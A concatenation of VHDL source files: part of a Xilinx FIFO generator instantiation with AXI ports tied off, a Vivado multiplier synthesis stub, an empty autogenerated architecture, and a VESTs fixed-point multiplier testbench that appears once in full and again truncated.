C_ERROR_INJECTION_TYPE_WDCH => 0, -- : integer := 0;
C_ERROR_INJECTION_TYPE_WRCH => 0, -- : integer := 0;
C_ERROR_INJECTION_TYPE_RACH => 0, -- : integer := 0;
C_ERROR_INJECTION_TYPE_RDCH => 0, -- : integer := 0;
C_ERROR_INJECTION_TYPE_AXIS => 0, -- : integer := 0;
-- Input Data Width
-- Accumulation of all AXI input signal's width
C_DIN_WIDTH_WACH => 32, -- : integer := 1;
C_DIN_WIDTH_WDCH => 64, -- : integer := 1;
C_DIN_WIDTH_WRCH => 2 , -- : integer := 1;
C_DIN_WIDTH_RACH => 32, -- : integer := 1;
C_DIN_WIDTH_RDCH => 64, -- : integer := 1;
C_DIN_WIDTH_AXIS => 1 , -- : integer := 1;
C_WR_DEPTH_WACH => 16 , -- : integer := 16;
C_WR_DEPTH_WDCH => 1024, -- : integer := 16;
C_WR_DEPTH_WRCH => 16 , -- : integer := 16;
C_WR_DEPTH_RACH => 16 , -- : integer := 16;
C_WR_DEPTH_RDCH => 1024, -- : integer := 16;
C_WR_DEPTH_AXIS => 1024, -- : integer := 16;
C_WR_PNTR_WIDTH_WACH => 4 , -- : integer := 4;
C_WR_PNTR_WIDTH_WDCH => 10, -- : integer := 4;
C_WR_PNTR_WIDTH_WRCH => 4 , -- : integer := 4;
C_WR_PNTR_WIDTH_RACH => 4 , -- : integer := 4;
C_WR_PNTR_WIDTH_RDCH => 10, -- : integer := 4;
C_WR_PNTR_WIDTH_AXIS => 10, -- : integer := 4;
C_HAS_DATA_COUNTS_WACH => 0, -- : integer := 0;
C_HAS_DATA_COUNTS_WDCH => 0, -- : integer := 0;
C_HAS_DATA_COUNTS_WRCH => 0, -- : integer := 0;
C_HAS_DATA_COUNTS_RACH => 0, -- : integer := 0;
C_HAS_DATA_COUNTS_RDCH => 0, -- : integer := 0;
C_HAS_DATA_COUNTS_AXIS => 0, -- : integer := 0;
C_HAS_PROG_FLAGS_WACH => 0, -- : integer := 0;
C_HAS_PROG_FLAGS_WDCH => 0, -- : integer := 0;
C_HAS_PROG_FLAGS_WRCH => 0, -- : integer := 0;
C_HAS_PROG_FLAGS_RACH => 0, -- : integer := 0;
C_HAS_PROG_FLAGS_RDCH => 0, -- : integer := 0;
C_HAS_PROG_FLAGS_AXIS => 0, -- : integer := 0;
C_PROG_FULL_TYPE_WACH => 5 , -- : integer := 0;
C_PROG_FULL_TYPE_WDCH => 5 , -- : integer := 0;
C_PROG_FULL_TYPE_WRCH => 5 , -- : integer := 0;
C_PROG_FULL_TYPE_RACH => 5 , -- : integer := 0;
C_PROG_FULL_TYPE_RDCH => 5 , -- : integer := 0;
C_PROG_FULL_TYPE_AXIS => 5 , -- : integer := 0;
C_PROG_FULL_THRESH_ASSERT_VAL_WACH => 1023, -- : integer := 0;
C_PROG_FULL_THRESH_ASSERT_VAL_WDCH => 1023, -- : integer := 0;
C_PROG_FULL_THRESH_ASSERT_VAL_WRCH => 1023, -- : integer := 0;
C_PROG_FULL_THRESH_ASSERT_VAL_RACH => 1023, -- : integer := 0;
C_PROG_FULL_THRESH_ASSERT_VAL_RDCH => 1023, -- : integer := 0;
C_PROG_FULL_THRESH_ASSERT_VAL_AXIS => 1023, -- : integer := 0;
C_PROG_EMPTY_TYPE_WACH => 5 , -- : integer := 0;
C_PROG_EMPTY_TYPE_WDCH => 5 , -- : integer := 0;
C_PROG_EMPTY_TYPE_WRCH => 5 , -- : integer := 0;
C_PROG_EMPTY_TYPE_RACH => 5 , -- : integer := 0;
C_PROG_EMPTY_TYPE_RDCH => 5 , -- : integer := 0;
C_PROG_EMPTY_TYPE_AXIS => 5 , -- : integer := 0;
C_PROG_EMPTY_THRESH_ASSERT_VAL_WACH => 1022, -- : integer := 0;
C_PROG_EMPTY_THRESH_ASSERT_VAL_WDCH => 1022, -- : integer := 0;
C_PROG_EMPTY_THRESH_ASSERT_VAL_WRCH => 1022, -- : integer := 0;
C_PROG_EMPTY_THRESH_ASSERT_VAL_RACH => 1022, -- : integer := 0;
C_PROG_EMPTY_THRESH_ASSERT_VAL_RDCH => 1022, -- : integer := 0;
C_PROG_EMPTY_THRESH_ASSERT_VAL_AXIS => 1022, -- : integer := 0;
C_REG_SLICE_MODE_WACH => 0, -- : integer := 0;
C_REG_SLICE_MODE_WDCH => 0, -- : integer := 0;
C_REG_SLICE_MODE_WRCH => 0, -- : integer := 0;
C_REG_SLICE_MODE_RACH => 0, -- : integer := 0;
C_REG_SLICE_MODE_RDCH => 0, -- : integer := 0;
C_REG_SLICE_MODE_AXIS => 0 -- : integer := 0
)
port map(
BACKUP => '0',
BACKUP_MARKER => '0',
CLK => CLK,
RST => '0',
SRST => SRST,
WR_CLK => '0',
WR_RST => '0',
RD_CLK => '0',
RD_RST => '0',
DIN => DIN, -- uses this one
WR_EN => WR_EN, -- uses this one
RD_EN => RD_EN, -- uses this one
PROG_EMPTY_THRESH => PROG_RDTHRESH_ZEROS,
PROG_EMPTY_THRESH_ASSERT => PROG_RDTHRESH_ZEROS,
PROG_EMPTY_THRESH_NEGATE => PROG_RDTHRESH_ZEROS,
PROG_FULL_THRESH => PROG_WRTHRESH_ZEROS,
PROG_FULL_THRESH_ASSERT => PROG_WRTHRESH_ZEROS,
PROG_FULL_THRESH_NEGATE => PROG_WRTHRESH_ZEROS,
INT_CLK => '0',
INJECTDBITERR => '0',
INJECTSBITERR => '0',
DOUT => DOUT, -- uses this one
FULL => FULL, -- uses this one
ALMOST_FULL => open,
WR_ACK => open,
OVERFLOW => open,
EMPTY => EMPTY, -- uses this one
ALMOST_EMPTY => open,
VALID => open,
UNDERFLOW => open,
DATA_COUNT => DATA_COUNT, -- uses this one
RD_DATA_COUNT => open,
WR_DATA_COUNT => open,
PROG_FULL => open,
PROG_EMPTY => open,
SBITERR => open,
DBITERR => open,
-- AXI Global Signal
M_ACLK => '0', -- : IN std_logic := '0';
S_ACLK => '0', -- : IN std_logic := '0';
S_ARESETN => '0', -- : IN std_logic := '0';
M_ACLK_EN => '0', -- : IN std_logic := '0';
S_ACLK_EN => '0', -- : IN std_logic := '0';
-- AXI Full/Lite Slave Write Channel (write side)
S_AXI_AWID => (others => '0'), -- : IN std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWADDR => (others => '0'), -- : IN std_logic_vector(C_AXI_ADDR_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWLEN => (others => '0'), -- : IN std_logic_vector(8-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWSIZE => (others => '0'), -- : IN std_logic_vector(3-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWBURST => (others => '0'), -- : IN std_logic_vector(2-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWLOCK => (others => '0'), -- : IN std_logic_vector(2-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWCACHE => (others => '0'), -- : IN std_logic_vector(4-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWPROT => (others => '0'), -- : IN std_logic_vector(3-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWQOS => (others => '0'), -- : IN std_logic_vector(4-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWREGION => (others => '0'), -- : IN std_logic_vector(4-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWUSER => (others => '0'), -- : IN std_logic_vector(C_AXI_AWUSER_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWVALID => '0', -- : IN std_logic := '0';
S_AXI_AWREADY => open, -- : OUT std_logic;
S_AXI_WID => (others => '0'), -- : IN std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_WDATA => (others => '0'), -- : IN std_logic_vector(C_AXI_DATA_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_WSTRB => (others => '0'), -- : IN std_logic_vector(C_AXI_DATA_WIDTH/8-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_WLAST => '0', -- : IN std_logic := '0';
S_AXI_WUSER => (others => '0'), -- : IN std_logic_vector(C_AXI_WUSER_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_WVALID => '0', -- : IN std_logic := '0';
S_AXI_WREADY => open, -- : OUT std_logic;
S_AXI_BID => open, -- : OUT std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_BRESP => open, -- : OUT std_logic_vector(2-1 DOWNTO 0);
S_AXI_BUSER => open, -- : OUT std_logic_vector(C_AXI_BUSER_WIDTH-1 DOWNTO 0);
S_AXI_BVALID => open, -- : OUT std_logic;
S_AXI_BREADY => '0', -- : IN std_logic := '0';
-- AXI Full/Lite Master Write Channel (Read side)
M_AXI_AWID => open, -- : OUT std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0);
M_AXI_AWADDR => open, -- : OUT std_logic_vector(C_AXI_ADDR_WIDTH-1 DOWNTO 0);
M_AXI_AWLEN => open, -- : OUT std_logic_vector(8-1 DOWNTO 0);
M_AXI_AWSIZE => open, -- : OUT std_logic_vector(3-1 DOWNTO 0);
M_AXI_AWBURST => open, -- : OUT std_logic_vector(2-1 DOWNTO 0);
M_AXI_AWLOCK => open, -- : OUT std_logic_vector(2-1 DOWNTO 0);
M_AXI_AWCACHE => open, -- : OUT std_logic_vector(4-1 DOWNTO 0);
M_AXI_AWPROT => open, -- : OUT std_logic_vector(3-1 DOWNTO 0);
M_AXI_AWQOS => open, -- : OUT std_logic_vector(4-1 DOWNTO 0);
M_AXI_AWREGION => open, -- : OUT std_logic_vector(4-1 DOWNTO 0);
M_AXI_AWUSER => open, -- : OUT std_logic_vector(C_AXI_AWUSER_WIDTH-1 DOWNTO 0);
M_AXI_AWVALID => open, -- : OUT std_logic;
M_AXI_AWREADY => '0', -- : IN std_logic := '0';
M_AXI_WID => open, -- : OUT std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0);
M_AXI_WDATA => open, -- : OUT std_logic_vector(C_AXI_DATA_WIDTH-1 DOWNTO 0);
M_AXI_WSTRB => open, -- : OUT std_logic_vector(C_AXI_DATA_WIDTH/8-1 DOWNTO 0);
M_AXI_WLAST => open, -- : OUT std_logic;
M_AXI_WUSER => open, -- : OUT std_logic_vector(C_AXI_WUSER_WIDTH-1 DOWNTO 0);
M_AXI_WVALID => open, -- : OUT std_logic;
M_AXI_WREADY => '0', -- : IN std_logic := '0';
M_AXI_BID => (others => '0'), -- : IN std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
M_AXI_BRESP => (others => '0'), -- : IN std_logic_vector(2-1 DOWNTO 0) := (OTHERS => '0');
M_AXI_BUSER => (others => '0'), -- : IN std_logic_vector(C_AXI_BUSER_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
M_AXI_BVALID => '0', -- : IN std_logic := '0';
M_AXI_BREADY => open, -- : OUT std_logic;
-- AXI Full/Lite Slave Read Channel (Write side)
S_AXI_ARID => (others => '0'), -- : IN std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARADDR => (others => '0'), -- : IN std_logic_vector(C_AXI_ADDR_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARLEN => (others => '0'), -- : IN std_logic_vector(8-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARSIZE => (others => '0'), -- : IN std_logic_vector(3-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARBURST => (others => '0'), -- : IN std_logic_vector(2-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARLOCK => (others => '0'), -- : IN std_logic_vector(2-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARCACHE => (others => '0'), -- : IN std_logic_vector(4-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARPROT => (others => '0'), -- : IN std_logic_vector(3-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARQOS => (others => '0'), -- : IN std_logic_vector(4-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARREGION => (others => '0'), -- : IN std_logic_vector(4-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARUSER => (others => '0'), -- : IN std_logic_vector(C_AXI_ARUSER_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARVALID => '0', -- : IN std_logic := '0';
S_AXI_ARREADY => open, -- : OUT std_logic;
S_AXI_RID => open, -- : OUT std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0);
S_AXI_RDATA => open, -- : OUT std_logic_vector(C_AXI_DATA_WIDTH-1 DOWNTO 0);
S_AXI_RRESP => open, -- : OUT std_logic_vector(2-1 DOWNTO 0);
S_AXI_RLAST => open, -- : OUT std_logic;
S_AXI_RUSER => open, -- : OUT std_logic_vector(C_AXI_RUSER_WIDTH-1 DOWNTO 0);
S_AXI_RVALID => open, -- : OUT std_logic;
S_AXI_RREADY => '0', -- : IN std_logic := '0';
-- AXI Full/Lite Master Read Channel (Read side)
M_AXI_ARID => open, -- : OUT std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0);
M_AXI_ARADDR => open, -- : OUT std_logic_vector(C_AXI_ADDR_WIDTH-1 DOWNTO 0);
M_AXI_ARLEN => open, -- : OUT std_logic_vector(8-1 DOWNTO 0);
M_AXI_ARSIZE => open, -- : OUT std_logic_vector(3-1 DOWNTO 0);
M_AXI_ARBURST => open, -- : OUT std_logic_vector(2-1 DOWNTO 0);
M_AXI_ARLOCK => open, -- : OUT std_logic_vector(2-1 DOWNTO 0);
M_AXI_ARCACHE => open, -- : OUT std_logic_vector(4-1 DOWNTO 0);
M_AXI_ARPROT => open, -- : OUT std_logic_vector(3-1 DOWNTO 0);
M_AXI_ARQOS => open, -- : OUT std_logic_vector(4-1 DOWNTO 0);
M_AXI_ARREGION => open, -- : OUT std_logic_vector(4-1 DOWNTO 0);
M_AXI_ARUSER => open, -- : OUT std_logic_vector(C_AXI_ARUSER_WIDTH-1 DOWNTO 0);
M_AXI_ARVALID => open, -- : OUT std_logic;
M_AXI_ARREADY => '0', -- : IN std_logic := '0';
M_AXI_RID => (others => '0'), -- : IN std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
M_AXI_RDATA => (others => '0'), -- : IN std_logic_vector(C_AXI_DATA_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
M_AXI_RRESP => (others => '0'), -- : IN std_logic_vector(2-1 DOWNTO 0) := (OTHERS => '0');
M_AXI_RLAST => '0', -- : IN std_logic := '0';
M_AXI_RUSER => (others => '0'), -- : IN std_logic_vector(C_AXI_RUSER_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
M_AXI_RVALID => '0', -- : IN std_logic := '0';
M_AXI_RREADY => open, -- : OUT std_logic;
-- AXI Streaming Slave Signals (Write side)
S_AXIS_TVALID => '0', -- : IN std_logic := '0';
S_AXIS_TREADY => open, -- : OUT std_logic;
S_AXIS_TDATA => (others => '0'), -- : IN std_logic_vector(C_AXIS_TDATA_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXIS_TSTRB => (others => '0'), -- : IN std_logic_vector(C_AXIS_TSTRB_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXIS_TKEEP => (others => '0'), -- : IN std_logic_vector(C_AXIS_TKEEP_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXIS_TLAST => '0', -- : IN std_logic := '0';
S_AXIS_TID => (others => '0'), -- : IN std_logic_vector(C_AXIS_TID_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXIS_TDEST => (others => '0'), -- : IN std_logic_vector(C_AXIS_TDEST_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXIS_TUSER => (others => '0'), -- : IN std_logic_vector(C_AXIS_TUSER_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
-- AXI Streaming Master Signals (Read side)
M_AXIS_TVALID => open, -- : OUT std_logic;
M_AXIS_TREADY => '0', -- : IN std_logic := '0';
M_AXIS_TDATA => open, -- : OUT std_logic_vector(C_AXIS_TDATA_WIDTH-1 DOWNTO 0);
M_AXIS_TSTRB => open, -- : OUT std_logic_vector(C_AXIS_TSTRB_WIDTH-1 DOWNTO 0);
M_AXIS_TKEEP => open, -- : OUT std_logic_vector(C_AXIS_TKEEP_WIDTH-1 DOWNTO 0);
M_AXIS_TLAST => open, -- : OUT std_logic;
M_AXIS_TID => open, -- : OUT std_logic_vector(C_AXIS_TID_WIDTH-1 DOWNTO 0);
M_AXIS_TDEST => open, -- : OUT std_logic_vector(C_AXIS_TDEST_WIDTH-1 DOWNTO 0);
M_AXIS_TUSER => open, -- : OUT std_logic_vector(C_AXIS_TUSER_WIDTH-1 DOWNTO 0);
-- AXI Full/Lite Write Address Channel Signals
AXI_AW_INJECTSBITERR => '0', -- : IN std_logic := '0';
AXI_AW_INJECTDBITERR => '0', -- : IN std_logic := '0';
AXI_AW_PROG_FULL_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_WACH-1 DOWNTO 0) := (OTHERS => '0');
AXI_AW_PROG_EMPTY_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_WACH-1 DOWNTO 0) := (OTHERS => '0');
AXI_AW_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WACH DOWNTO 0);
AXI_AW_WR_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WACH DOWNTO 0);
AXI_AW_RD_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WACH DOWNTO 0);
AXI_AW_SBITERR => open, -- : OUT std_logic;
AXI_AW_DBITERR => open, -- : OUT std_logic;
AXI_AW_OVERFLOW => open, -- : OUT std_logic;
AXI_AW_UNDERFLOW => open, -- : OUT std_logic;
AXI_AW_PROG_FULL => open, -- : OUT STD_LOGIC := '0';
AXI_AW_PROG_EMPTY => open, -- : OUT STD_LOGIC := '1';
-- AXI Full/Lite Write Data Channel Signals
AXI_W_INJECTSBITERR => '0', -- : IN std_logic := '0';
AXI_W_INJECTDBITERR => '0', -- : IN std_logic := '0';
AXI_W_PROG_FULL_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_WDCH-1 DOWNTO 0) := (OTHERS => '0');
AXI_W_PROG_EMPTY_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_WDCH-1 DOWNTO 0) := (OTHERS => '0');
AXI_W_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WDCH DOWNTO 0);
AXI_W_WR_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WDCH DOWNTO 0);
AXI_W_RD_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WDCH DOWNTO 0);
AXI_W_SBITERR => open, -- : OUT std_logic;
AXI_W_DBITERR => open, -- : OUT std_logic;
AXI_W_OVERFLOW => open, -- : OUT std_logic;
AXI_W_UNDERFLOW => open, -- : OUT std_logic;
AXI_W_PROG_FULL => open, -- : OUT STD_LOGIC := '0';
AXI_W_PROG_EMPTY => open, -- : OUT STD_LOGIC := '1';
-- AXI Full/Lite Write Response Channel Signals
AXI_B_INJECTSBITERR => '0', -- : IN std_logic := '0';
AXI_B_INJECTDBITERR => '0', -- : IN std_logic := '0';
AXI_B_PROG_FULL_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_WRCH-1 DOWNTO 0) := (OTHERS => '0');
AXI_B_PROG_EMPTY_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_WRCH-1 DOWNTO 0) := (OTHERS => '0');
AXI_B_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WRCH DOWNTO 0);
AXI_B_WR_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WRCH DOWNTO 0);
AXI_B_RD_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WRCH DOWNTO 0);
AXI_B_SBITERR => open, -- : OUT std_logic;
AXI_B_DBITERR => open, -- : OUT std_logic;
AXI_B_OVERFLOW => open, -- : OUT std_logic;
AXI_B_UNDERFLOW => open, -- : OUT std_logic;
AXI_B_PROG_FULL => open, -- : OUT STD_LOGIC := '0';
AXI_B_PROG_EMPTY => open, -- : OUT STD_LOGIC := '1';
-- AXI Full/Lite Read Address Channel Signals
AXI_AR_INJECTSBITERR => '0', -- : IN std_logic := '0';
AXI_AR_INJECTDBITERR => '0', -- : IN std_logic := '0';
AXI_AR_PROG_FULL_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_RACH-1 DOWNTO 0) := (OTHERS => '0');
AXI_AR_PROG_EMPTY_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_RACH-1 DOWNTO 0) := (OTHERS => '0');
AXI_AR_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_RACH DOWNTO 0);
AXI_AR_WR_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_RACH DOWNTO 0);
AXI_AR_RD_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_RACH DOWNTO 0);
AXI_AR_SBITERR => open, -- : OUT std_logic;
AXI_AR_DBITERR => open, -- : OUT std_logic;
AXI_AR_OVERFLOW => open, -- : OUT std_logic;
AXI_AR_UNDERFLOW => open, -- : OUT std_logic;
AXI_AR_PROG_FULL => open, -- : OUT STD_LOGIC := '0';
AXI_AR_PROG_EMPTY => open, -- : OUT STD_LOGIC := '1';
-- AXI Full/Lite Read Data Channel Signals
AXI_R_INJECTSBITERR => '0', -- : IN std_logic := '0';
AXI_R_INJECTDBITERR => '0', -- : IN std_logic := '0';
AXI_R_PROG_FULL_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_RDCH-1 DOWNTO 0) := (OTHERS => '0');
AXI_R_PROG_EMPTY_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_RDCH-1 DOWNTO 0) := (OTHERS => '0');
AXI_R_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_RDCH DOWNTO 0);
AXI_R_WR_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_RDCH DOWNTO 0);
AXI_R_RD_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_RDCH DOWNTO 0);
AXI_R_SBITERR => open, -- : OUT std_logic;
AXI_R_DBITERR => open, -- : OUT std_logic;
AXI_R_OVERFLOW => open, -- : OUT std_logic;
AXI_R_UNDERFLOW => open, -- : OUT std_logic;
AXI_R_PROG_FULL => open, -- : OUT STD_LOGIC := '0';
AXI_R_PROG_EMPTY => open, -- : OUT STD_LOGIC := '1';
-- AXI Streaming FIFO Related Signals
AXIS_INJECTSBITERR => '0', -- : IN std_logic := '0';
AXIS_INJECTDBITERR => '0', -- : IN std_logic := '0';
AXIS_PROG_FULL_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_AXIS-1 DOWNTO 0) := (OTHERS => '0');
AXIS_PROG_EMPTY_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_AXIS-1 DOWNTO 0) := (OTHERS => '0');
AXIS_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_AXIS DOWNTO 0);
AXIS_WR_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_AXIS DOWNTO 0);
AXIS_RD_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_AXIS DOWNTO 0);
AXIS_SBITERR => open, -- : OUT std_logic;
AXIS_DBITERR => open, -- : OUT std_logic;
AXIS_OVERFLOW => open, -- : OUT std_logic;
AXIS_UNDERFLOW => open, -- : OUT std_logic
AXIS_PROG_FULL => open, -- : OUT STD_LOGIC := '0';
AXIS_PROG_EMPTY => open -- : OUT STD_LOGIC := '1';
);
end implementation;
|
-- Copyright 1986-2014 Xilinx, Inc. All Rights Reserved.
-- --------------------------------------------------------------------------------
-- Tool Version: Vivado v.2014.1 (lin64) Build 881834 Fri Apr 4 14:00:25 MDT 2014
-- Date : Mon May 26 11:10:35 2014
-- Host : macbook running 64-bit Arch Linux
-- Command : write_vhdl -force -mode synth_stub
-- /home/keith/Documents/VHDL-lib/top/stereo_radio/ip/multi_QI/multi_QI_stub.vhdl
-- Design : multi_QI
-- Purpose : Stub declaration of top-level module interface
-- Device : xc7z020clg484-1
-- --------------------------------------------------------------------------------
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
entity multi_QI is
Port (
CLK : in STD_LOGIC;
A : in STD_LOGIC_VECTOR ( 15 downto 0 );
B : in STD_LOGIC_VECTOR ( 15 downto 0 );
P : out STD_LOGIC_VECTOR ( 31 downto 0 )
);
end multi_QI;
architecture stub of multi_QI is
attribute syn_black_box : boolean;
attribute black_box_pad_pin : string;
attribute syn_black_box of stub : architecture is true;
attribute black_box_pad_pin of stub : architecture is "CLK,A[15:0],B[15:0],P[31:0]";
attribute x_core_info : string;
attribute x_core_info of stub : architecture is "mult_gen_v12_0,Vivado 2014.1";
begin
end;
|
-- -------------------------------------------------------------
--
-- Generated Architecture Declaration for rtl of inst_4_e
--
-- Generated
-- by: wig
-- on: Mon Jun 26 08:31:57 2006
-- cmd: /cygdrive/h/work/eclipse/MIX/mix_0.pl ../../generic.xls
--
-- !!! Do not edit this file! Autogenerated by MIX !!!
-- $Author: wig $
-- $Id: inst_4_e-rtl-a.vhd,v 1.5 2006/06/26 08:39:42 wig Exp $
-- $Date: 2006/06/26 08:39:42 $
-- $Log: inst_4_e-rtl-a.vhd,v $
-- Revision 1.5 2006/06/26 08:39:42 wig
-- Update more testcases (up to generic)
--
--
-- Based on Mix Architecture Template built into RCSfile: MixWriter.pm,v
-- Id: MixWriter.pm,v 1.90 2006/06/22 07:13:21 wig Exp
--
-- Generator: mix_0.pl Revision: 1.46 , [email protected]
-- (C) 2003,2005 Micronas GmbH
--
-- --------------------------------------------------------------
library IEEE;
use IEEE.std_logic_1164.all;
-- No project specific VHDL libraries/arch
--
--
-- Start of Generated Architecture rtl of inst_4_e
--
architecture rtl of inst_4_e is
--
-- Generated Constant Declarations
--
--
-- Generated Components
--
--
-- Generated Signal List
--
--
-- End of Generated Signal List
--
begin
--
-- Generated Concurrent Statements
--
--
-- Generated Signal Assignments
--
--
-- Generated Instances and Port Mappings
--
end rtl;
--
--!End of Architecture/s
-- --------------------------------------------------------------
|
-- Copyright (C) 1996 Morgan Kaufmann Publishers, Inc
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
-- ---------------------------------------------------------------------
--
-- $Id: ch_06_multt-b.vhd,v 1.2 2001-10-26 16:29:34 paw Exp $
-- $Revision: 1.2 $
--
-- ---------------------------------------------------------------------
library ieee; use ieee.std_logic_1164.all;
architecture bench of multiplier_test is
signal a, b : std_ulogic_vector(15 downto 0) := (others => '0');
signal p : std_ulogic_vector(31 downto 0);
begin
dut : entity work.multiplier(behavioral)
port map (a, b, p);
stimulus : process is
begin
a <= X"8000"; b <= X"8000"; -- -1 * -1
wait for 50 ns;
a <= X"0001"; b <= X"0001"; -- 2**-15 * 2**-15
wait for 50 ns;
a <= X"0001"; b <= X"0000"; -- 2**-15 * 0
wait for 50 ns;
a <= X"0000"; b <= X"0001"; -- 0 * 2**-15
wait for 50 ns;
a <= X"0001"; b <= X"8000"; -- 2**-15 * -1
wait for 50 ns;
a <= X"8000"; b <= X"0001"; -- -1 * 2**-15
wait for 50 ns;
a <= X"4000"; b <= X"4000"; -- 0.5 * 0.5
wait for 50 ns;
a <= X"C000"; b <= X"4000"; -- -0.5 * 0.5
wait for 50 ns;
a <= X"4000"; b <= X"C000"; -- 0.5 * -0.5
wait for 50 ns;
a <= X"C000"; b <= X"C000"; -- -0.5 * -0.5
wait for 50 ns;
wait;
end process stimulus;
end architecture bench;
|
-- Copyright (C) 1996 Morgan Kaufmann Publishers, Inc
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
-- ---------------------------------------------------------------------
--
-- $Id: ch_06_multt-b.vhd,v 1.2 2001-10-26 16:29:34 paw Exp $
-- $Revision: 1.2 $
--
-- ---------------------------------------------------------------------
library ieee; use ieee.std_logic_1164.all;
architecture bench of multiplier_test is
signal a, b : std_ulogic_vector(15 downto 0) := (others => '0');
